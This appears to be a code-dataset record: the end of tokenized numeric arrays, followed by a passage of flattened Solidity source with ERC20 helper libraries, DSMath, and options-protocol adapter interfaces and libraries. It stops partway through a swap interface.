0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
9341,
6291,
1957,
2173,
20477,
1435,
2713,
1476,
3849,
1135,
261,
11890,
15561,
13,
288,
203,
3639,
327,
4654,
80,
67,
869,
8585,
12,
5141,
382,
6722,
87,
16,
300,
5324,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >=0.7.2;
pragma experimental ABIEncoderV2;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
//rounds to zero if x*y < WAD / 2
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
//rounds to zero if x*y < WAD / 2
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
//rounds to zero if x*y < WAD / 2
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//rounds to zero if x*y < RAY / 2
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
library ProtocolAdapterTypes {
enum OptionType {Invalid, Put, Call}
// We have 2 types of purchase methods so far - by contract and by 0x.
// Contract is simple because it involves just specifying the option terms you want to buy.
// ZeroEx involves an off-chain API call which prepares a ZeroExOrder object to be passed into the tx.
enum PurchaseMethod {Invalid, Contract, ZeroEx}
/**
* @notice Terms of an options contract
* @param underlying is the underlying asset of the options. E.g. For ETH $800 CALL, ETH is the underlying.
* @param strikeAsset is the asset used to denote the asset paid out when exercising the option.
* E.g. For ETH $800 CALL, USDC is the strikeAsset.
* @param collateralAsset is the asset used to collateralize a short position for the option.
* @param expiry is the expiry of the option contract. Users can only exercise after expiry in Europeans.
* @param strikePrice is the strike price of an optio contract.
* E.g. For ETH $800 CALL, 800*10**18 is the USDC.
* @param optionType is the type of option, can only be OptionType.Call or OptionType.Put
* @param paymentToken is the token used to purchase the option.
* E.g. Buy UNI/USDC CALL with WETH as the paymentToken.
*/
struct OptionTerms {
address underlying;
address strikeAsset;
address collateralAsset;
uint256 expiry;
uint256 strikePrice;
ProtocolAdapterTypes.OptionType optionType;
address paymentToken;
}
/**
* @notice 0x order for purchasing otokens
* @param exchangeAddress [deprecated] is the address we call to conduct a 0x trade.
* Slither flagged this as a potential vulnerability so we hardcoded it.
* @param buyTokenAddress is the otoken address
* @param sellTokenAddress is the token used to purchase USDC. This is USDC most of the time.
* @param allowanceTarget is the address the adapter needs to provide sellToken allowance to so the swap happens
* @param protocolFee is the fee paid (in ETH) when conducting the trade
* @param makerAssetAmount is the buyToken amount
* @param takerAssetAmount is the sellToken amount
* @param swapData is the encoded msg.data passed by the 0x api response
*/
struct ZeroExOrder {
address exchangeAddress;
address buyTokenAddress;
address sellTokenAddress;
address allowanceTarget;
uint256 protocolFee;
uint256 makerAssetAmount;
uint256 takerAssetAmount;
bytes swapData;
}
}
interface IProtocolAdapter {
/**
* @notice Emitted when a new option contract is purchased
*/
event Purchased(
address indexed caller,
string indexed protocolName,
address indexed underlying,
uint256 amount,
uint256 optionID
);
/**
* @notice Emitted when an option contract is exercised
*/
event Exercised(
address indexed caller,
address indexed options,
uint256 indexed optionID,
uint256 amount,
uint256 exerciseProfit
);
/**
* @notice Name of the adapter. E.g. "HEGIC", "OPYN_V1". Used as index key for adapter addresses
*/
function protocolName() external pure returns (string memory);
/**
* @notice Boolean flag to indicate whether to use option IDs or not.
* Fungible protocols normally use tokens to represent option contracts.
*/
function nonFungible() external pure returns (bool);
/**
* @notice Returns the purchase method used to purchase options
*/
function purchaseMethod()
external
pure
returns (ProtocolAdapterTypes.PurchaseMethod);
/**
* @notice Check if an options contract exist based on the passed parameters.
* @param optionTerms is the terms of the option contract
*/
function optionsExist(ProtocolAdapterTypes.OptionTerms calldata optionTerms)
external
view
returns (bool);
/**
* @notice Get the options contract's address based on the passed parameters
* @param optionTerms is the terms of the option contract
*/
function getOptionsAddress(
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) external view returns (address);
/**
* @notice Gets the premium to buy `purchaseAmount` of the option contract in ETH terms.
* @param optionTerms is the terms of the option contract
* @param purchaseAmount is the number of options purchased
*/
function premium(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 purchaseAmount
) external view returns (uint256 cost);
/**
* @notice Amount of profit made from exercising an option contract (current price - strike price).
* 0 if exercising out-the-money.
* @param options is the address of the options contract
* @param optionID is the ID of the option position in non fungible protocols like Hegic.
* @param amount is the amount of tokens or options contract to exercise.
*/
function exerciseProfit(
address options,
uint256 optionID,
uint256 amount
) external view returns (uint256 profit);
function canExercise(
address options,
uint256 optionID,
uint256 amount
) external view returns (bool);
/**
* @notice Purchases the options contract.
* @param optionTerms is the terms of the option contract
* @param amount is the purchase amount in Wad units (10**18)
*/
function purchase(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 amount,
uint256 maxCost
) external payable returns (uint256 optionID);
/**
* @notice Exercises the options contract.
* @param options is the address of the options contract
* @param optionID is the ID of the option position in non fungible protocols like Hegic.
* @param amount is the amount of tokens or options contract to exercise.
* @param recipient is the account that receives the exercised profits.
* This is needed since the adapter holds all the positions
*/
function exercise(
address options,
uint256 optionID,
uint256 amount,
address recipient
) external payable;
/**
* @notice Opens a short position for a given `optionTerms`.
* @param optionTerms is the terms of the option contract
* @param amount is the short position amount
*/
function createShort(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 amount
) external returns (uint256);
/**
* @notice Closes an existing short position. In the future,
* we may want to open this up to specifying a particular short position to close.
*/
function closeShort() external returns (uint256);
}
library ProtocolAdapter {
function delegateOptionsExist(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) external view returns (bool) {
(bool success, bytes memory result) =
address(adapter).staticcall(
abi.encodeWithSignature(
"optionsExist((address,address,address,uint256,uint256,uint8,address))",
optionTerms
)
);
revertWhenFail(success, result);
return abi.decode(result, (bool));
}
function delegateGetOptionsAddress(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) external view returns (address) {
(bool success, bytes memory result) =
address(adapter).staticcall(
abi.encodeWithSignature(
"getOptionsAddress((address,address,address,uint256,uint256,uint8,address))",
optionTerms
)
);
revertWhenFail(success, result);
return abi.decode(result, (address));
}
function delegatePremium(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 purchaseAmount
) external view returns (uint256) {
(bool success, bytes memory result) =
address(adapter).staticcall(
abi.encodeWithSignature(
"premium((address,address,address,uint256,uint256,uint8,address),uint256)",
optionTerms,
purchaseAmount
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegateExerciseProfit(
IProtocolAdapter adapter,
address options,
uint256 optionID,
uint256 amount
) external view returns (uint256) {
(bool success, bytes memory result) =
address(adapter).staticcall(
abi.encodeWithSignature(
"exerciseProfit(address,uint256,uint256)",
options,
optionID,
amount
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegatePurchase(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 purchaseAmount,
uint256 maxCost
) external returns (uint256) {
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature(
"purchase((address,address,address,uint256,uint256,uint8,address),uint256,uint256)",
optionTerms,
purchaseAmount,
maxCost
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegatePurchaseWithZeroEx(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
ProtocolAdapterTypes.ZeroExOrder calldata zeroExOrder
) external {
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature(
// solhint-disable-next-line
"purchaseWithZeroEx((address,address,address,uint256,uint256,uint8,address),(address,address,address,address,uint256,uint256,uint256,bytes))",
optionTerms,
zeroExOrder
)
);
revertWhenFail(success, result);
}
function delegateExercise(
IProtocolAdapter adapter,
address options,
uint256 optionID,
uint256 amount,
address recipient
) external {
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature(
"exercise(address,uint256,uint256,address)",
options,
optionID,
amount,
recipient
)
);
revertWhenFail(success, result);
}
function delegateClaimRewards(
IProtocolAdapter adapter,
address rewardsAddress,
uint256[] calldata optionIDs
) external returns (uint256) {
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature(
"claimRewards(address,uint256[])",
rewardsAddress,
optionIDs
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegateRewardsClaimable(
IProtocolAdapter adapter,
address rewardsAddress,
uint256[] calldata optionIDs
) external view returns (uint256) {
(bool success, bytes memory result) =
address(adapter).staticcall(
abi.encodeWithSignature(
"rewardsClaimable(address,uint256[])",
rewardsAddress,
optionIDs
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegateCreateShort(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 amount
) external returns (uint256) {
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature(
"createShort((address,address,address,uint256,uint256,uint8,address),uint256)",
optionTerms,
amount
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegateCloseShort(IProtocolAdapter adapter)
external
returns (uint256)
{
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature("closeShort()")
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function revertWhenFail(bool success, bytes memory returnData)
private
pure
{
if (success) return;
revert(getRevertMsg(returnData));
}
function getRevertMsg(bytes memory _returnData)
private
pure
returns (string memory)
{
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "ProtocolAdapter: reverted";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
}
interface IRibbonFactory {
function isInstrument(address instrument) external returns (bool);
function getAdapter(string calldata protocolName)
external
view
returns (address);
function getAdapters()
external
view
returns (address[] memory adaptersArray);
function burnGasTokens() external;
}
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
library Types {
struct Order {
uint256 nonce; // Unique per order and should be sequential
uint256 expiry; // Expiry in seconds since 1 January 1970
Party signer; // Party to the trade that sets terms
Party sender; // Party to the trade that accepts terms
Party affiliate; // Party compensated for facilitating (optional)
Signature signature; // Signature of the order
}
struct Party {
bytes4 kind; // Interface ID of the token
address wallet; // Wallet address of the party
address token; // Contract address of the token
uint256 amount; // Amount for ERC-20 or ERC-1155
uint256 id; // ID for ERC-721 or ERC-1155
}
struct Signature {
address signatory; // Address of the wallet used to sign
address validator; // Address of the intended swap contract
bytes1 version; // EIP-191 signature version
uint8 v; // `v` value of an ECDSA signature
bytes32 r; // `r` value of an ECDSA signature
bytes32 s; // `s` value of an ECDSA signature
}
}
interface ISwap {
event Swap(
uint256 indexed nonce,
uint256 timestamp,
address indexed signerWallet,
uint256 signerAmount,
uint256 signerId,
address signerToken,
address indexed senderWallet,
uint256 senderAmount,
uint256 senderId,
address senderToken,
address affiliateWallet,
uint256 affiliateAmount,
uint256 affiliateId,
address affiliateToken
);
event Cancel(uint256 indexed nonce, address indexed signerWallet);
event CancelUpTo(uint256 indexed nonce, address indexed signerWallet);
event AuthorizeSender(
address indexed authorizerAddress,
address indexed authorizedSender
);
event AuthorizeSigner(
address indexed authorizerAddress,
address indexed authorizedSigner
);
event RevokeSender(
address indexed authorizerAddress,
address indexed revokedSender
);
event RevokeSigner(
address indexed authorizerAddress,
address indexed revokedSigner
);
/**
* @notice Atomic Token Swap
* @param order Types.Order
*/
function swap(Types.Order calldata order) external;
/**
* @notice Cancel one or more open orders by nonce
* @param nonces uint256[]
*/
function cancel(uint256[] calldata nonces) external;
/**
* @notice Cancels all orders below a nonce value
* @dev These orders can be made active by reducing the minimum nonce
* @param minimumNonce uint256
*/
function cancelUpTo(uint256 minimumNonce) external;
/**
* @notice Authorize a delegated sender
* @param authorizedSender address
*/
function authorizeSender(address authorizedSender) external;
/**
* @notice Authorize a delegated signer
* @param authorizedSigner address
*/
function authorizeSigner(address authorizedSigner) external;
/**
* @notice Revoke an authorization
* @param authorizedSender address
*/
function revokeSender(address authorizedSender) external;
/**
* @notice Revoke an authorization
* @param authorizedSigner address
*/
function revokeSigner(address authorizedSigner) external;
function senderAuthorizations(address, address)
external
view
returns (bool);
function signerAuthorizations(address, address)
external
view
returns (bool);
